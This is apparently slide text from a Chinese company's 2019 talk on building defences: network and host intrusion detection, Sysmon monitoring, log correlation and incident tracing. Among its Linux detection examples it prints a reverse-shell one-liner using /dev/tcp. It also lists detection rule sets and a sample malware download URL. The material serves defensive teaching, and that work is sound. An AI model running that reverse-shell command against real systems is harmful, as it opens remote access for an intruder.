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入侵案例

2018.6 国内某视频网站的用户数据出现在暗网

2018.9  国内某酒店数据泄露出现在暗网中，涉及数据

2018.6 国内某高校邮件元数据8.4TB可任意访问

2019.7 美国第一资本银行的1.06亿银行卡用户信息，1亿-1.5亿美元损失



入侵攻击链

https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html



ATT&CK攻击手法矩阵

https://mitre-attack.github.io/attack-navigator/enterprise/



基础安全防御体系

以攻击者视角，针对于各个攻击阶段的不同攻击手法，有对应的攻击防御方案



抗DDoS
4层流量型

Firewall/PortScan
减小攻击面

NIDS
非HTTP协议

WAF
HTTP/S协议

RASP
实时程序自保护系统

HIDS
Webshell、rootkit、syscheck

检测

主机日志
登录/操作日志

SQL审计
防SQL注入、拖库

纵深防御



l 为什么要做？
     
  运维人员误操作将高危端口曝露至外网导致的入侵事件

l 能带来什么好处？

（1） 比攻击者更快速获取IDC对外暴露的端口

（2）获取开放在公网服务的组件版本，便于0day漏洞及时修补

减少攻击面之外网端口监控



l 怎么实现？

（1）主动扫描

Ø masscan：快速端口扫描

Ø Nmap：获取指纹库

https://github.com/robertdavidgraham/masscan
https://github.com/nmap/nmap



（2）被动监控：流量检测（FW、NIDS）



l怎么实现？
Ø Suricata/Snort（ https://suricata-ids.org/ ）

Ø Bro-IDS（ https://www.zeek.org/ ）

边界流量安全之NIDS



lSuricata之官方规则
emerging-malware rules/emerging-malware.rules
emerging-attack_response rules/emerging-attack_response.rules
emerging-snmp rules/emerging-snmp.rules
emerging-mobile_malware rules/emerging-

mobile_malware.rules
emerging-netbios rules/emerging-netbios.rules
emerging-current_events rules/emerging-current_events.rules
emerging-chat rules/emerging-chat.rules
emerging-icmp rules/emerging-icmp.rules
emerging-dns rules/emerging-dns.rules
emerging-voip rules/emerging-voip.rules
emerging-telnet rules/emerging-telnet.rules
emerging-smtp rules/emerging-smtp.rules
emerging-pop3 rules/emerging-pop3.rules
emerging-deleted rules/emerging-deleted.rules
emerging-sql rules/emerging-sql.rules
emerging-shellcode rules/emerging-shellcode.rules
tor rules/tor.rules
emerging-p2p rules/emerging-p2p.rules
emerging-ftp rules/emerging-ftp.rules
emerging-scan rules/emerging-scan.rules
emerging-trojan rules/emerging-trojan.rules
emerging-exploit rules/emerging-exploit.rules
emerging-tftp rules/emerging-tftp.rules
emerging-worm rules/emerging-worm.rules
emerging-web_client rules/emerging-web_client.rules
botcc rules/botcc.rules

https://rules.emergingthreats.net/open/suricata-4.0/rules/



https://github.com/ptresearch/AttackDetection
https://github.com/jasonish/suricata-trafficid/blob/master/rules/traffic-id.rules
https://sslbl.abuse.ch/blacklist/sslblacklist.rules

ATTACK [PTsecurity] Possible Bluekeep RDP exploit CVE-2019-0708



l NIDS架构

l关键网络节点的流量镜像：IDC边界和重要安全域边界

l集中管控：策略实时更新，规则白名单，自定义规则

l告警的有效运营：误报处理？攻击是否成功？红蓝对抗验证

IDS

IDS

IDS

IDS

Kafka logstash Elasticsearch SOC

mgmt



Honeypot

https://dionaea.readthedocs.io/en/latest/

https://github.com/DinoTools/dionaea

l低交互蜜罐：Dionaea

l支持多种协议：telnet，dns，
ntp，epmap，ftp，http，
memcache，mirror，mqtt，
mssql，mysql，pptp，sip，
smb，tftp，upnp

lDocker化：快速部署、销毁



l HIDS 1.0之开源ossec

Log-collector

Syscheck

rootkit-check
Ossec 
Server

Ossec agent

https://github.com/ossec/ossec-hids

alert

Linux, OpenBSD, FreeBSD, Mac OS X, Solaris and 
Windows

适用场景：服务器规模小于1W台

IDC服务器安全之HIDS



（1）资产收集：网络连接，进程监控，系统服务梳理

（2）入侵检测：反弹shell，webshell检测，远程命令执行，文件完整性检测，rootkit

（3）合规基线：基于CIS benchmark的Linux基线检查

Auditd

监控文件访问

监控系统调用

用户命令执行

监控网络访问

Ø 对系统的侵入性较小
Ø 开发难度不高
Ø 数据精确性

l HIDS 2.0之Linux



l Windows平台之Sysmon

EventID Event Name Category

1 Process Creation Process

2 A process changed a file creation time File

3 Network connection Network

4 Sysmon service state changed Sysmon

5 Process terminated Process

6 Driver loaded Process

7 Image loaded Process

8 CreateRemoteThread Process

9 RawAccessRead File

10 ProcessAccess Process

11 FileCreate File

12 RegistryEvent (Object create and delete) Registry

13 RegistryEvent (Value Set) Registry

14 RegistryEvent (Key and Value Rename) Registry

15 FileCreateStreamHash File

16 Sysmon configuration change (cannot be filtered) Sysmon

17 PipeEvent (Pipe Created) Pipe

18 PipeEvent (Pipe Connected) Pipe

19 WmiEvent (WmiEventFilter activity detected) Wmi

20 WmiEvent (WmiEventConsumer activity detected) Wmi

21 WmiEvent (WmiEventConsumerToFilter activity 
detected)

Wmi

22 DNSEvent (DNS query) Network

23 Error Sysmonhttps://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Ø 网络相关：网络连接（2），DNS请求（22）

Ø 进程相关：进程创建（1）

Ø 注册表相关：键创建与删除（12），键值修改（13）

基于内核驱动及相关系统机制对进程、文件、注册表、网络监控



l Sysmon配置

安装运行：sysmon.exe -accepteula -i sysmonconfig-export.xml
更新配置：sysmon.exe –c sysmonconfig-export.xml



l Windows主机异常TCP异常外联

通过外联的公网IP，快速定位到进程名称和PID

netstat –ano | findstr “external_ip”
tasklist | findstr “PID”



l Windows主机异常DNS异常外联

（1）威胁情报碰撞
（2）机器学习检测DGA域名



l Windows主机恶意进程执行

Ø 恶意命令检测CommandLine，通过配
置规则实现

Ø 恶意文件的MD5/SHA256，上传威胁
情报沙箱



lWindows主机注册表修改

Ø RDP 端口监控（端口修改）

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\

HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP-Tcp

Ø 开机自启动项（恶意程序启动）

HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

Ø 终端帐号监控（监控隐藏帐号、克隆帐号）

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users



Windows日志类型 日志路径
安全日志 %SystemRoot%\System32\winevt\Logs\Security.evt

x
应用日志 %SystemRoot%\system32\winevt\Logs\Application.

evtx
系统日志 %SystemRoot%\system32\winevt\Logs\System.evtx
Sysmon日志 Microsoft-Windows-Sysmon/Operational

Windows入侵场景举例
（1）RDP暴力破解: 1分钟登陆失败(4625)超过10次
（2）异常登录告警：一个账号登陆多台机器；一台机器被多个账号
登录

l主机日志收集

https://www.elastic.co/cn/products/beats/winlogbeat



l 图谱分析



l主机日志收集

Linux日志类型 日志路径
登录日志 /var/log/secure
操作日志 /var/log/history
系统日志 /var/log/message
认证日志 /var/log/auth

Linux入侵场景举例
（1）SSH暴力破解: 1分钟登陆失败超过10次
（2）高危操作命令：nc，bash -i >& /dev/tcp/10.0.0.1/9090 0>&1
（3）SSH服务监听在非22端口

https://www.elastic.co/cn/products/beats/filebeat



Socket
- Protocol
- Srcip
- Dstip
- Srcport
- dstport

Packet
- Protocol
- Srcip
- Dstip
- Srcport
- dstport

Session
- Protocol
- Method
- url
- header

Process
- Pid
- Image
- Dstip
- Dstport

HOST NETWORK

l关联分析



张三

Computer
1 192.16

8.1.1

操作记录 数据源 权重
张三(zhangsan)登录
Computer1

AD域控 5

执行木马“a.exe” (1)Sysmon事件Event 1
(2)威胁情报文件md5/文件沙箱
(3)AV防病毒

40

反弹shell异常外连 (1)Sysmon事件Event 22/Event 3 
(2)IPS/IDS流量检测
(3)威胁情报IP/DNS

90

权重之和=5+40+90=145>100，定义为高风险攻击事件，应立即处置

l场景1：关联告警

a.e
xe



张三

Comput
er1

a.exe

192.168.1.1

Comput
er3

Comput
er2

李四

172.16.1.1

Comput
er4

Comput
er4

Comput
er4

l场景2：调查取证与溯源

http://Hackerd.co
m/a.exe

下载
a.exe

数据源
有哪些PC外连过异常IP 防火墙，IDS/IPS，上网行为管理
木马”a.exe”还在哪些PC运行过？ Sysmon事件Event 1，文件MD5

检索
账号zhangsan还登录过哪些PC AD域控
中毒终端Computer1还被哪些账号登陆
过

AD域控

Zhangsan什么时候在哪里下载过a.exe 上网行为管理



日志采集与分析流程

现状

AD

Linux

Windows

NIDS

HIDS

Kafka

日志平台

ELK ClickHouse

DB ••••

实时ETL

实时分析

离线数仓构建 离线数据分析

统一日志查询

实时智能监控

Report

Agent



欺骗防御蜜罐

基于流量/日志
的机器学习分析

未来展望

l 新型APT攻击
l 用户行为分析

l 黑客画像



现 场 提 问

扫 码 发 送 暗 号

“ 2 0 1 9 ”

即 可 加 入 交 流 群

扫 码 关 注

携 程 安 全 应 急 响 应 中 心

公 众 号



Thanks
主 办 方 ： 携 程 信 息 安 全 部


